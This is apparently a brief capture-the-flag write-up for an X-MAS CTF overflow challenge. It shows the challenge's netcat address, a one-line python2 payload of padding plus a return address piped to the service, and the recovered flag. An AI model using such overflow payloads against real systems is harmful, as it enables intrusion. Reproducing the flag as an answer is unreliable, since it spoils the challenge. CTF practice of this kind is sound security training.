Snow, snow, snow... there is snow everywhere! I'm feeling a little bit overwhelmed... or would I say overflowed?
nc challs.xmas.htsp.ro 12006
$ python2 -c "print('A'*18+'\x56\x11\x40\x00\x00\x00\x00\x00')" | nc challs.xmas.htsp.ro 12006
flag: X-MAS{700_much_5n0000w}